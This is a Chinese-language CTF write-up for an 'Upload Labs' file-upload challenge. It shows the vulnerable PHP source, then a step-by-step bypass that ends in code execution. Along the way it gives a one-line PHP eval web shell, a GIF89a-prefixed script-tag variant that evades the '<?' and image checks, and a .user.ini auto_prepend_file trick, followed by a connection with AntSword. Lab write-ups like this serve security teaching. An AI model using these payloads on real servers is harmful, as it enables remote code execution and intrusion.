28.CheckIn
源码:
#index.php
<!DOCTYPE html>
<html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-Compatible" content="ie=edge"><title>Upload Labs</title>
</head><body><h2>Upload Labs</h2><form action="index.php" method="post" enctype="multipart/form-data"><label for="file">文件名:</label><input type="file" name="fileUpload" id="file"><br><input type="submit" name="upload" value="提交"></form>
</body></html><?php
// error_reporting(0);
$userdir = "uploads/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {mkdir($userdir, 0777, true);
}
file_put_contents($userdir . "/index.php", "");
if (isset($_POST["upload"])) {$tmp_name = $_FILES["fileUpload"]["tmp_name"];$name = $_FILES["fileUpload"]["name"];if (!$tmp_name) {die("filesize too big!");}if (!$name) {die("filename cannot be empty!");}$extension = substr($name, strrpos($name, ".") + 1);if (preg_match("/ph|htacess/i", $extension)) {die("illegal suffix!");}if (mb_strpos(file_get_contents($tmp_name), "<?") !== FALSE) {die("<? in contents!");}$image_type = exif_imagetype($tmp_name);if (!$image_type) {die("exif_imagetype:not image!");}$upload_file_path = $userdir . "/" . $name;move_uploaded_file($tmp_name, $upload_file_path);echo "Your dir " . $userdir. ' <br>';echo 'Your files : <br>';var_dump(scandir($userdir));
}
可以看出文件上传类的题目,绕过后缀的文件格式有php,php3,php4,php5,phtml,pht。
构造木马文件<?php @eval($_REQUEST['shell']);?>命名为flag.php
上传木马文件,显示illegal suffix!非法后缀,将flag.php改为flag.jpg,继续上传木马文件,显示<?in vontents!存在违法内容"<?"
改变思路点,将PHP一句话转换为JS形式
重构木马文件
<script language="php">@eval($_REQUEST['shell']);</script>
继续上传
显示exif_imagetype:not image!
重构
GIF89a<script language="php">@eval($_REQUEST['shell']);</script>
上传成功,使用蚁剑测试连接,可以连接,但是返回数据是空的,猜测后台并没有解析PHP代码。访问题目源码,提示是.user.ini配置文件。
.user.ini配置文件与.htaccess配置文件比较类似,概述来说,htaccess文件是Apache服务器中的一个配置文件,注意这几个字“改变文件扩展名”。
.htaccess配置文件格式
<FileMatch "1.jpg>
SetHandler application/x-httpd-php
.user.ini配置文件和.htaccess配置文件都是为了解析PHP代码
可以把.user.ini理解为用户可自定义的php.ini配置文件,.user.ini的两个配置项,auto_prepend_file是在文件前插入,auto_append_file是在文件最后才插入。
创建.user.ini文件
GIF89a
auto_prepend_file=flag.jpg
上传.user.ini文件
连接蚁剑:密码:shell